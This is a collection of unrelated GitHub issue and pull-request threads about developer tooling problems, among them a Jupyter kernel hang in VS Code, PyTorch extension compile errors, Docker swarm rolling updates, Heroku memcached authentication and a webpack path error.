Connection to kernel takes forever

Environment data

VS Code version: 1.71.1
Jupyter Extension version (available under the Extensions sidebar): v2022.8.1002431955
Python Extension version (available under the Extensions sidebar): XXX
OS (Windows | Mac | Linux distro) and version: Windows 10
Python and/or Anaconda version: 3.8.10
Type of virtual environment used (N/A | venv | virtualenv | conda | ...): N/A and venv
Jupyter server running: Local

Expected behaviour
Jupyter notebook should run the cell
Actual behaviour
Message in the right corner:
Connecting to kernel: Python 3.8.10: Activating Python Environment 'Python 3.9.12 ('base')'
Doesn't connect
Steps to reproduce:
[NOTE: Self-contained, minimal reproducing code samples are extremely helpful and will expedite addressing your issue]

Run cell with code:  Print("")

Logs

Output for Jupyter in the Output panel (View→Output, change the drop-down the upper-right of the Output panel to Jupyter)

I've reinstalled ipykernel, but it doesn't help.
Before it was working and nothing changed since then.

I couldn't repro here.

I've reinstalled ipykernel, but it doesn't help.

Do you have more than one Python's version in your computer? If so, in which one did you reinstall? Also, do you use some kind of tool to install python (Like pyenv)?

Yes, I do have only one Python version. I've tried to use virtual environment (venv) with the same python as well.
I've reinstalled ipykernel both with and without virtual env. I don't use any tool to install python.
Thank you

Sorry you're hitting this issue.
Can you try reproducing the issue after a fresh reload and provide the logs from the command Jupyter: Show Output

we are actually seeing some test failures that seem to be caught in the same issue https://github.com/microsoft/vscode-jupyter/actions/runs/3177406135/jobs/5177808333

Perhaps this error?
9:12:05 PM.346: 2022-10-03 21:12:05,207 UTC - ERROR - Error in line INITIALIZE_INTERRUPT:1
Traceback (most recent call last):
  File "d:\a\vscode-jupyter\vscode-jupyter\pythonFiles\vscode_datascience_helpers\kernel_interrupt_daemon.py", line 335, in main
    print(f"INITIALIZE_INTERRUPT:{int(line.split(':')[1])}:{handle}")
OSError: [Errno 9] Bad file descriptor
 []

I hit the same issue on windows and with current jupyter extension version
The console output is:
Visual Studio Code (1.71.2, undefined, desktop)
Jupyter Extension Version: 2022.8.1002431955.
Python Extension Version: 2022.14.0.
Multiple Workspace folders opened c:\CIVA_RP\CIVA_SIE\src_python\pyciva, c:\CIVA_RP\CIVA_SIE\src_python\webapps, c:\CIVA_RP\CIVA_SIE\src_python\civa_utils, c:\CIVA_RP\CIVA_SIE\src_python\external_repo\pycoralie, c:\CIVA_RP\CIVA_SIE\src_python\external_repo\parallel_coordinates, c:\CIVA_RP\CIVA_SIE\Scripts_Ant, c:\Users\xa235208\Documents\Developments\mydevs
info 8:44:14.489: ZMQ install verified.
User belongs to experiment group 'jupyterTest'
User belongs to experiment group 'jupyterEnhancedDataViewer'
info 8:44:14.779: LSP Notebooks experiment is enabled
info 8:44:14.805: Experiment status for python is {"enabled":true,"optInto":[],"optOutFrom":[]}
info 8:44:15.972: Process Execution: > c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe -m pip list
> c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe -m pip list
info 8:44:16.33: Starting Jupyter Session id = 'startUsingPythonInterpreter:.jvsc74a57bd092eab6366f9b599e0febef1ea0e3b122efe43fec124f29c28fa76c06311d10d8.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.-m#ipykernel_launcher' (Python Path: , EnvType: System, EnvName: '', Version: 3.8.5) for 'c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb' (disableUI=true)
info 8:44:16.34: Creating raw notebook for resource 'c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb'
info 8:44:16.34: Computing working directory for resource 'c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb'
info 8:44:16.93: Starting raw kernel 'Python 3.8.5' for interpreter c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe
info 8:44:16.136: Kernel launching with ports 9000,9002,9003,9004,9005. Start port is 9000
info 8:44:16.633: Process Execution: > c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe -c "import ipykernel; print(ipykernel.__version__); print("5dc3a68c-e34e-4080-9c3e-2a532b2ccb4d"); print(ipykernel.__file__)"
> c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe -c "import ipykernel; print(ipykernel.__version__); print("5dc3a68c-e34e-4080-9c3e-2a532b2ccb4d"); print(ipykernel.__file__)"
info 8:44:18.52: ipykernel version 6.15.1 for c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe
info 8:44:18.52: ipykernel location c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\lib\site-packages\ipykernel\__init__.py for c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe
info 8:44:19.231: Preferred Remote kernel for c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb is undefined
info 8:44:19.231: Find preferred kernel for c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb with metadata {"kernelspec":{"display_name":"Python 3.8.5 64-bit (system)","language":"python","name":"python3"},"language_info":{"codemirror_mode":{"name":"ipython","version":3},"file_extension":".py","mimetype":"text/x-python","name":"python","nbconvert_exporter":"python","pygments_lexer":"ipython3","version":"3.8.5"},"orig_nbformat":4,"vscode":{"interpreter":{"hash":"92eab6366f9b599e0febef1ea0e3b122efe43fec124f29c28fa76c06311d10d8"}}} & preferred interpreter c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe
info 8:44:19.234: Preferred Remote kernel for c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb is undefined
info 8:44:19.234: Preferred kernel .jvsc74a57bd092eab6366f9b599e0febef1ea0e3b122efe43fec124f29c28fa76c06311d10d8.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.-m#ipykernel_launcher is exact match or top match for non python kernels, (false, [object Object], true, false)
info 8:44:19.237: PreferredConnection: .jvsc74a57bd092eab6366f9b599e0febef1ea0e3b122efe43fec124f29c28fa76c06311d10d8.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.c:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\python.exe.-m#ipykernel_launcher found for NotebookDocument: c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb
info 8:44:19.324: Process Execution: > ~\Miniconda3\envs\binder\python.exe ~\.vscode\extensions\ms-toolsai.jupyter-2022.8.1002431955\pythonFiles\vscode_datascience_helpers\kernel_interrupt_daemon.py --ppid 10092
> ~\Miniconda3\envs\binder\python.exe ~\.vscode\extensions\ms-toolsai.jupyter-2022.8.1002431955\pythonFiles\vscode_datascience_helpers\kernel_interrupt_daemon.py --ppid 10092
info 8:44:19.324: Process Execution: cwd: ~\.vscode\extensions\ms-toolsai.jupyter-2022.8.1002431955\pythonFiles\vscode_datascience_helpers
cwd: ~\.vscode\extensions\ms-toolsai.jupyter-2022.8.1002431955\pythonFiles\vscode_datascience_helpers
info 8:44:19.396: Preferred Remote kernel for c:\CIVA_RP\CIVA_SIE\src_python\webapps\xartests\test.ipynb is undefined
warn 8:44:19.397: Fatal Python error: init_sys_streams
warn 8:44:19.397: : can't initialize sys standard streams
Traceback (most recent call last):
  File "C:\CIVA_RP\CIVA_SIE\ProjetCIVA\ceaComponents\dev\python\lib\io.py", line 54, in <module>

warn 8:44:19.398: ImportError: cannot import name 'open_code' from 'io' (unknown location)

I don't have issue with version v2022.7.1002181843

@xavArtley Can you file a separate issue.
You are running into a different issue, basically things are failing as opposed to kernel takes forever.
When filing the issue, please provide the above logs as well as the logs from the version 2022.7.*
I'd like to compare the two and see what's different.

podleyan
Please could you replicate the issue and provide the logs (you seem to have forgotten to upload this in the issue)

Perhaps this error?
�[34m9:12:05 PM.346�[39m: �[33m2022-10-03 21:12:05,207 UTC - ERROR - Error in line INITIALIZE_INTERRUPT:1�[39m
�[33mTraceback (most recent call last):�[39m
�[33m  File "d:\a\vscode-jupyter\vscode-jupyter\pythonFiles\vscode_datascience_helpers\kernel_interrupt_daemon.py", line 335, in main�[39m
�[33m    print(f"INITIALIZE_INTERRUPT:{int(line.split(':')[1])}:{handle}")�[39m
�[33mOSError: [Errno 9] Bad file descriptor�[39m
�[33m []�[39m

I get this same issue, and the above error, whenever there's a pending update. Closing vscode shows an "updating vs code" popup. After starting vscode again, all works normally.

I was having the same issue, restarting vscode and reboot device didn't help.
Downgrading from 2022.9.1202862440(current latest) to 2022.9.1100000000 (2nd latest) then upgrade to 2022.9.1202862440 again, then the issue disappears.

Thsi should be fixed in the latest pre-release version of the Jupyter extension
Youl could either install the latest pre-release jupyter and python extensions in vscode insiders to verify this issue or test this in the latest stable version that will be released some time this week.

On a M2 Max Apple Silicon, just upgraded to Ventura 13.3 and VS Code Jupyter Notebook is toasted (apparently).
I run the first cell and it is a waiting clock icon at the bottom forever. Need to reboot and try again.
Probably will raise a new issue.


Compiling error

when i run "python setup.py develop", got following errors
I replace "THCState_getCudaHostAllocator" with "at::cuda::getCurrentCUDAStream", still not work

/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:28:63: error: invalid conversion from ‘THCState*’ to ‘c10::DeviceIndex {aka short int}’ [-fpermissive]
cudaStream_t stream = at::cuda::getCurrentCUDAStream(state);
^
In file included from /home/wanglei/anaconda3/envs/pytorch-all/lib/python3.7/site-packages/torch/include/ATen/cuda/CUDAContext.h:11:0,
from /data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/utils.h:2,
from /data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:1:
/home/wanglei/anaconda3/envs/pytorch-all/lib/python3.7/site-packages/torch/include/c10/cuda/CUDAStream.h:202:23: note:   initializing argument 1 of ‘c10::cuda::CUDAStream c10::cuda::getCurrentCUDAStream(c10::DeviceIndex)’
CAFFE2_API CUDAStream getCurrentCUDAStream(DeviceIndex device_index = -1);
^~~~~~~~~~~~~~~~~~~~
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp: In function ‘int gather_points_grad_wrapper_fast(int, int, int, int, at::Tensor&, at::Tensor&, at::Tensor&)’:
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:41:63: error: invalid conversion from ‘THCState*’ to ‘c10::DeviceIndex {aka short int}’ [-fpermissive]
cudaStream_t stream = at::cuda::getCurrentCUDAStream(state);
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp: In function ‘void three_nn_wrapper_fast(int, int, int, at::Tensor, at::Tensor, at::Tensor, at::Tensor)’:
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:196:59: error: cannot convert ‘c10::Allocator*’ to ‘cudaStream_t {aka CUstream_st*}’ in initialization
cudaStream_t stream = THCState_getCudaHostAllocator(state);
^
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp: In function ‘void three_interpolate_wrapper_fast(int, int, int, int, at::Tensor, at::Tensor, at::Tensor, at::Tensor)’:
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:212:59: error: cannot convert ‘c10::Allocator*’ to ‘cudaStream_t {aka CUstream_st*}’ in initialization
cudaStream_t stream = THCState_getCudaHostAllocator(state);
^
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp: In function ‘void three_interpolate_grad_wrapper_fast(int, int, int, int, at::Tensor, at::Tensor, at::Tensor, at::Tensor)’:
/data2/wanglei/3D_mesh/deep_cage/pytorch_points/pytorch_points/_ext/sampling.cpp:227:59: error: cannot convert ‘c10::Allocator*’ to ‘cudaStream_t {aka CUstream_st*}’ in initialization
cudaStream_t stream = THCState_getCudaHostAllocator(state);
I am not sure how to compile objects for extension.
looking forward to your reply, thanks!!!

which pytorch version are you using? This looks like a version incompatibility issue.

which pytorch version are you using? This looks like a version incompatibility issue.

The version of the pytorch I used is 1.5.1

Please try to install with 1.4.0, I'll correct the environment file in pytorch_points.
Thanks for the issue!

Please try to install with 1.4.0, I'll correct the environment file in pytorch_points.
Thanks for the issue!

Thanks! I will try.


[DRAW-005] Data entered in transcription pop-up does not save after clicking and dragging box

Steps to reproduce:

Navigate to a new transcription.
Select ‘transcribe’ button to begin transcription process.
When data entry pop-up prompts, enter in values and select ‘save’.
Click and drag box around the data just transcribed.
Data entry pop-up prompts a second time. None of the previous data entered is saved. Instead, these sections appear as empty.

Recommended result:
Data should save after submitting the first time and should be appear with its respective box.
Actual result:
Data entered in transcription pop-up does not save after clicking and dragging box. The user is required to submit the data during the second time in order for it to save.
Notes:
Tested on:
Google Chrome Version 55.0.2883.87 m, Internet Explorer 11, Firefox version 37.0.1.
Windows 7 Professional x32, Intel Cote i5, ATI Radeon HD 4550.
Repro rate: 5/5.
Screenshot attached: DRAW-005.png
Tiffany Hirsch

Resolved


react-diff-view error

I get the following error when trying to use the MDXEditor in a Next.js app with the "pages" directory. Any ideas how to resolve this without having to modify the underlying code in my node_modules folder?
Uncaught Error: Cannot find package 'C:\...\node_modules\@mdxeditor\editor\dist\node_modules\react-diff-view\' imported from<EMAIL_ADDRESS>Did you mean to import react-diff-view/cjs/index.js?

Here is my MDXEditor setup for context:
<MDXEditor
    markdown={markdown}
    onChange={setMarkdown}
    contentEditableClassName="prose"
    plugins={[
        headingsPlugin(),
        listsPlugin(),
        linkPlugin(),
        linkDialogPlugin(),
        toolbarPlugin({
            toolbarContents: () => (
                <>
                    <UndoRedo />
                    <BoldItalicUnderlineToggles />
                    <ListsToggle />
                    <CreateLink />
                    <BlockTypeSelect />
                </>
            ),
        }),
    ]}
/>

Did you try the setup I did here? Let me know if it needs some modification for me to reproduce the error.

To be more precise, I think you need this.

This worked, thank you so much!

Sorry to comment on a closed issue but I am having this exact problem but when running tests using vitest, any hint on how to solve it? do you want me to create another issue? @petyosi

@drac94 - I replaced the react-diff-view dependency in the latest version. Give it a try, and if you're still experiencing problems, open another issue.

Thanks @petyosi !! I upgraded to the latest version and now I am getting this
SyntaxError: Named export '$isElementNode' not found. The requested module 'lexical' is a CommonJS module, which may not support all module.exports as named exports.
CommonJS modules can always be imported via the default export, for example using:

import pkg from 'lexical';
const { $isElementNode } = pkg;


[Feature Request] Have "pf flow build` command accept custom commands to be added to the generated Dockerfile for the flow

Is your feature request related to a problem? Please describe.
In my current customer engagement, I have a use case for adding custom commands (to mount a secret and add one more pip install in the Dockerfile generated by the pf flow build command.
My current workaround is to either overwrite the generated Dockerfile or insert my custom commands.
Describe the solution you'd like
Would be great if pf flow build command provides a way to pass in custom commands to be added to the Dockerfile, even better if I can specify where in the Dockerfile to insert my commands, so the commands will be executed in the desired order.
Describe alternatives you've considered
Post-generation edit - Provide a way to easily edit the generated Docker file. Something cleaner than using bash commands like cp -f to overwrite the file or locating the lines to insert the commands.

Hi @chenmliu, thank you for the feature request!
We have ever considered this feature but doesn't have a plan to support it by providing parameters in pf flow build for now.

As you have already pointed out, we have generated a Dockerfile, which you can do any updates you want based on.
for the update you have mentioned:

you can add custom dependent packages with below attribute in yaml, and pf flow build will pick them automatically: doc

environment:
  python_requirements_txt: requirements.txt

2. for secret management, I personally have ever tried to use Docker secrets to manage them without updating `Dockerfile` so that I can avoid dump the secret to host disk: [doc](https://docs.docker.com/engine/swarm/secrets/)

Thank you for the reply, @elliotzh
Just to clarify, for 2ii ("I personally have ever tried to use Docker secrets to manage them without updating Dockerfile") - did you mean updating the Dockerfile is always required for using secrets?

Sorry, I have misunderstood some of your requirements.

you have already mounted secrets to /run/secrets/gitlabpat but need to refer it in a pip install command;
updating requirements.txt doesn't meet your requirement as secret has not been exported to a variable when installing requirements.txt;
actually you may hope that you can custom the prefix of pip install requirements.txt, like your example:

RUN --mount=type=secret,id=gitlabpat \
    GITLAB_PAT=$(cat /run/secrets/gitlabpat) && \
    conda create -n my_env python=3.9.16 pip=23.0.1 -q -y && \
    pip install -r /flow/requirements.txt

instead of
RUN conda create -n my_env python=3.9.16 pip=23.0.1 -q -y && \
   pip install -r /flow/requirements.txt

Sorry, this is kind of out of our scope. The recommended workaround is to update the built docker file.

Thank you for clarifying and confirming, @elliotzh :)


DIANN and contaminants proteins

Description of the bug
In a recent search using uniprot, I added to DIANN the contaminants database. I got a lot of peptides with no protein associated and also with funny accessions like: (Bos .

[ ] We need to see if contaminant databases should be attached to the protein database for DIANN?
[ ] In case yes, we need to check the structure of the accessions that DIANN consume for contaminant proteins.
[ ] We need to remove in the msstats analysis all the contaminants and proteins that are not relevant for the analysis.

Command used and terminal output
No response
Relevant files
No response
System information
No response

@vdemichev can you give us some feedback here?

https://github.com/vdemichev/DiaNN/issues/468. This may be relevant. Waiting for feedback

If a contaminant database is in uniprot format, it will be treated as any other FASTA database. If it's in some unsupported format, then behaviour is undefined. I will need to see how the database looks & how the output looks to comment.


Update README.md

Hi, I found that in you readme there is no instructions to install yt-dlp using snap so I add it, I will be happy if you will review it and merge it

yt-dlp and youtube-dl are different projects

Thanks for mentioning it, as I was totally confused because I saw that the yt-dlp repository was forked from there. So, I raised the pull request there. I will mention this on the yt-dlp repository. Thanks once again.


Change some I/O messages

Some of the default I/O STDERR messages made it difficult to thread multiple background executions of the tool. With the I/O adjustments, it is very easy to monitor the state of multiple requests.
$ ~/gobuster -t 30 -e -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -np -k -u https://<IP_ADDRESS> 2>/dev/null &

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : https://<IP_ADDRESS>/
[+] Threads      : 30
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2019-05-16 09:03:42 Starting gobuster
=====================================================
[-] Wildcard response found: https://<IP_ADDRESS>/244d3fa3-f73c-4c47-8aba-349680b4ae5d => 302
=====================================================
2019-05-16 09:03:43 Finished - https://<IP_ADDRESS>/
=====================================================

Hi,
thanks for your PR!
Our current working branch is https://github.com/OJ/gobuster/tree/v3.0-working where this code is already gone. Can you please test with this branch and see if the problem still persists?


not implemented on windows/amd64

version: github.com/go-ping/ping v0.0.0-20200918120429-e8ae07c3cec8
Run following code on Windows 10, it says not implemented on windows/amd64.
package main

import (
	"fmt"

	"github.com/go-ping/ping"
)

func main() {
	pinger, err := ping.NewPinger("<IP_ADDRESS>")
	pinger.SetPrivileged(true)
	pinger.Count = 3
	err = pinger.Run()
	if err != nil {
		fmt.Println(err)
	}
}

Same problem +1!

The error is caused by SetControlMessage call, It seems like to check the packet TTL. I solved this by comment it out, not sure about other side effects.

The error is caused by SetControlMessage call, It seems like to check the packet TTL. I solved this by comment it out, not sure about other side effects.
Interesting, at my side the linux version crashes, the windows version still throws the same error message :(

/cc @sparrc @CHTJonas

I appears this is a limitation in the Go x/net/ipv{4|6} packages:

https://pkg.go.dev/golang.org/x/net/ipv4#pkg-note-BUG
https://pkg.go.dev/golang.org/x/net/ipv6#pkg-note-BUG

https://github.com/go-ping/ping/blob/671c40f29adc8190ded8c57bbebf9b6ea534c7ea/ping.go#L452-L454
Since we're already checking whether the ControlMessage is present or not I think it's safe to simply pass over the conn.IPv4PacketConn().SetControlMessage(ipv4.FlagTTL, true) code lines on Windows, ditto IPv6.


The latest version cannot turn off the 2023 UI at all.

I really hate the UI of 2023 very much.,Originally, all the UI about 2023 in the previous version was useless.,Only by giving up the sidebar function and turning off the sidebar can you go back to the previous UI.,But the latest version doesn't seem to even be able to do this.

What is this issue? Is it a bug or what?

I doubt we can do anything about that.


update all language file!

add pt.cson;
translate two new words in chinese;
add pt in other language file

Great stuff! thanks again


Gamification: buttons to let the user share their score on social media

On the Dashboard page, add social buttons to share a screenshot of your score on Twitter/X, Lens, Farcaster...

Twitter
Button generator
https://developer.twitter.com/en/docs/twitter-for-websites/tweet-button/overview
https://developer.twitter.com/en/docs/twitter-for-websites/tweet-button/guides/web-intent

Lens
https://docs.lens.xyz/docs/integrating-lens
https://docs.lens.xyz/docs/lens-widgets#share-to-lens

Farcaster
https://github.com/standard-crypto/farcaster-js#publish-a-cast

hello, i like to take this task

hello, I have a question. my local dashboard is different from your, why is that .

@jaybuidl , pls check this PR


allow further configuration of spy client (binary proto + SASL)

To be able to use this on cloud platforms like Heroku, you would need to support futher configuring the underlying spy memcached client to use binary protocol, and to use sasl authentication.
I could write another abstractKeyValueClient of course but seems like better to support it internally

hmm... sounds interesting. I want to support Heroku and others.
Do you have any existing implementation on this? I will merge your patch if you have, or I will write from scratch.

The only impl I have is a hack to get it working with the current codebase, using reflection and setAccessible....here is the relevant code to get it wokring on heroku
      AuthDescriptor ad = new AuthDescriptor(new String[]{"PLAIN"}, new PlainCallbackHandler(System.getenv("MEMCACHE_USERNAME"), System.getenv("MEMCACHE_PASSWORD")));
    ConnectionFactoryBuilder factoryBuilder = new ConnectionFactoryBuilder();
    ConnectionFactory cf = factoryBuilder.setProtocol(ConnectionFactoryBuilder.Protocol.BINARY).setAuthDescriptor(ad).build();

    System.out.println("CREATING MEMCACHED CLIENT");
    final MemcachedClient memcachedClient = new MemcachedClient(cf, Collections.singletonList(new InetSocketAddress(System.getenv("MEMCACHE_SERVERS"), 11211)));

    AbstractMemcachedClientFactory f = new AbstractMemcachedClientFactory() {
        @Override
        public AbstractKeyValueStoreClient create(String serverString) {
            try {
                SpyMemcachedClient c = new SpyMemcachedClient();
                Field field = SpyMemcachedClient.class.getDeclaredField("_connection");
                field.setAccessible(true);
                field.set(c, memcachedClient);
                c.setTimeoutInMs(5000);
                return c;
            } catch (NoSuchFieldException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }
        }

    };

    MemcachedSessionIdManager idMgr = new MemcachedSessionIdManager(server, "jetty-memcached", f);

Thanks for information. I checked your code and memcached article on heroku.
Added org.eclipse.jetty.nosql.memcached.spymemcached.HerokuSpyMemcachedClientFactory to support heroku.
https://github.com/yyuu/jetty-nosql-memcached/commit/1bca8e79b54056a8869efd260501b099a78ea85c
I will try to test this on heroku.
memo:
Currently, I have no care for cloud platforms other than heroku. Because...

I don't know them well
their authentication method may be different from heroku

I might change the class hierarchy abound HerokuSpyMemcachedClientFactory if I decide to support other platforms.

Nice Work! Tested it out and works perfect for me.

Thanks testing :)


fleet: support plugin Kyverno

What type of PR is this?
/kind feature

What this PR does / why we need it:
Which issue(s) this PR fixes:
Fixes #98
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

/label tide/merge-method-squash

/label tide/merge-method-squash


Binary models should not require a schema

In the README.md you state:
Models have additional information you have to define. Besides the model name, the description and the summary, you need to define the content type for this model in addition to the schema that describes the model. Both are mandatory

I have a method that returns an image, so content type is 'image/jpeg'.  In this situation there is no schema but I would still want to provide the rest of the information.  Is it possible to relax the requirement for schema to be present for all content types?

@cmdrmcdonald Of course. I haven't thought of binary as content. I will just add this.

The thing is, that schema is required by CloudFormation. But you can already do this by just defining schema as "{}" (see http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-apigateway-model.html).
But either way I will update this to fill this in automatically, when you don't specify schema.


[feature request] swarm: rolling update with no replicas

Description
I'm able to do rolling update without any "Connection Refused" if I have 2 replicas but not if I have only one.
For people with small VPS, it would be useful to be able to do "rolling updates" with only one node and having the containers running only once.
Steps to reproduce the issue:

run docker service create -p 8080:80 --name hello --update-delay 10s --stop-grace-period 10s dockercloud/hello-world
run siege http://<IP_ADDRESS>:8080
run docker service update --image dockercloud/hello-world:staging hello
wait for the update to finish
stop 'siege'

Describe the results you received:
I see a lot of "Connection refused" and a non 100% availability.
Describe the results you expected:
no "Connection refused" and 100% availability.
Additional information you deem important (e.g. issue happens only occasionally):
Output of docker version:
Client:
 Version:      1.14.0-dev
 API version:  1.26
 Go version:   go1.7.4
 Git commit:   1c96879
 Built:        Mon Dec  5 16:14:53 2016
 OS/Arch:      linux/amd64

Server:
 Version:      1.14.0-dev
 API version:  1.26 (minimum version 1.12)
 Go version:   go1.7.4
 Git commit:   1c96879
 Built:        Mon Dec  5 16:14:53 2016
 OS/Arch:      linux/amd64
 Experimental: false

Output of docker info:
Containers: 5
 Running: 1
 Paused: 0
 Stopped: 4
Images: 70
Server Version: 1.14.0-dev
Storage Driver: devicemapper
 Pool Name: docker-8:2-24772686-pool
 Pool Blocksize: 65.54 kB
 Base Device Size: 10.74 GB
 Backing Filesystem: xfs
 Data file: /dev/loop0
 Metadata file: /dev/loop1
 Data Space Used: 4.849 GB
 Data Space Total: 107.4 GB
 Data Space Available: 102.5 GB
 Metadata Space Used: 8.417 MB
 Metadata Space Total: 2.147 GB
 Metadata Space Available: 2.139 GB
 Thin Pool Minimum Free Space: 10.74 GB
 Udev Sync Supported: true
 Deferred Removal Enabled: false
 Deferred Deletion Enabled: false
 Deferred Deleted Device Count: 0
 Data loop file: /var/lib/docker/devicemapper/devicemapper/data
 WARNING: Usage of loopback devices is strongly discouraged for production use. Use `--storage-opt dm.thinpooldev` to specify a custom block storage device.
 Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
 Library Version: 1.02.136 (2016-11-05)
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: bridge host macvlan null overlay
Swarm: active
 NodeID: 68a62tley9l6zk71erj1wnr6t
 Is Manager: true
 ClusterID: 0nad6052izxvfvwllyscr0s0v
 Managers: 1
 Nodes: 1
 Orchestration:
  Task History Retention Limit: 5
 Raft:
  Snapshot Interval: 10000
  Number of Old Snapshots to Retain: 0
  Heartbeat Tick: 1
  Election Tick: 3
 Dispatcher:
  Heartbeat Period: 5 seconds
 CA Configuration:
  Expiry Duration: 3 months
 Node Address: <IP_ADDRESS>
 Manager Addresses:
  <IP_ADDRESS>:2377
Runtimes: runc
Default Runtime: runc
Init Binary: docker-init
containerd version: 9c21822f344b7894ec2e55ac4b6d4e86118907dd (expected: 03e5862ec0d8d3b3f750e19fca3ee367e13c090e)
runc version: N/A (expected: 51371867a01c467f08af739783b8beafc154c4d7)
init version: N/A (expected: 949e6facb77383876aeff8a6944dde66b3089574)
Kernel Version: 4.8.11-1-ARCH
Operating System: Arch Linux
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 7.801 GiB
Name: bruno
ID: FQPI:5DOA:ESFX:4DUW:A3RE:GQ6A:UDLN:HRLV:I5HU:UTO4:3HX2:CCP2
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Username: bbigras
Registry: https://index.docker.io/v1/
Experimental: false
Insecure Registries:
 <IP_ADDRESS>/8
Live Restore Enabled: false

Additional environment details (AWS, VirtualBox, physical, etc.):
physical

ping @stevvooe

I wonder if this is easy to achieve, or leads to a lot of unwanted side effects. Basically, this would mean temporarily scaling the service to two instances, and once the second instance is "up", remove the first instance.
However, there are many cases where starting a second instance can result in problems. Think of a database service; having multiple instances of a database write to the same storage is generally not supported, and can lead to data corruption.
Also, since this requires (at least temporary) double  the amount of resources on the host, which can either lead to (on a single node/single manager) the manager running out of resources (and thus loosing control over the swarm), or the second instance of the service not being able to reserve resources, thus not starting.

You need to have two instances to get zero downtime rolling updates.
There are valid update models that scale an extra instance but there are some considerations to make when doing so.
cc @aaronlehmann


cannot use with webpack: TypeError: Path must be a string. Received undefined

As a workaround, I mark this module as external and manually copy it into the build.
Removing this line will solve the issue:
https://github.com/mjpearson/passport-slack/blob/master/lib/passport-slack/index.js#L10
Here is full stack trace:
'TypeError: Path must be a string. Received undefined',
  'at assertPath (path.js:28:11)',
  'at Object.dirname (path.js:1349:5)',
  'at Function.pkginfo.find (/opt/app/backend/.webpack/service/webpack:/node_modules/pkginfo/lib/pkginfo.js:89:1)',
  'at Function.pkginfo.read (/opt/app/backend/.webpack/service/webpack:/node_modules/pkginfo/lib/pkginfo.js:115:1)',
  'at module.exports (/opt/app/backend/.webpack/service/webpack:/node_modules/pkginfo/lib/pkginfo.js:66:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/webpack:/node_modules/passport-oauth/node_modules/passport/lib/passport/index.js:440:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/index.js:100534:30)',
  'at __webpack_require__ (/opt/app/backend/.webpack/service/webpack:/webpack/bootstrap:19:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/webpack:/node_modules/passport-oauth/lib/passport-oauth/strategies/oauth.js:4:1)',
  'at __webpack_require__ (/opt/app/backend/.webpack/service/webpack:/webpack/bootstrap:19:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/webpack:/node_modules/passport-oauth/lib/passport-oauth/index.js:4:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/index.js:99763:30)',
  'at __webpack_require__ (/opt/app/backend/.webpack/service/webpack:/webpack/bootstrap:19:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/webpack:/node_modules/passport-slack/lib/passport-slack/strategy.js:5:1)',
  'at __webpack_require__ (/opt/app/backend/.webpack/service/webpack:/webpack/bootstrap:19:1)',
  'at Object.<anonymous> (/opt/app/backend/.webpack/service/webpack:/node_modules/passport-slack/lib/passport-slack/index.js:4:1)',

This package does not look like it is actively maintained, I would be happy to take it over if you wish.
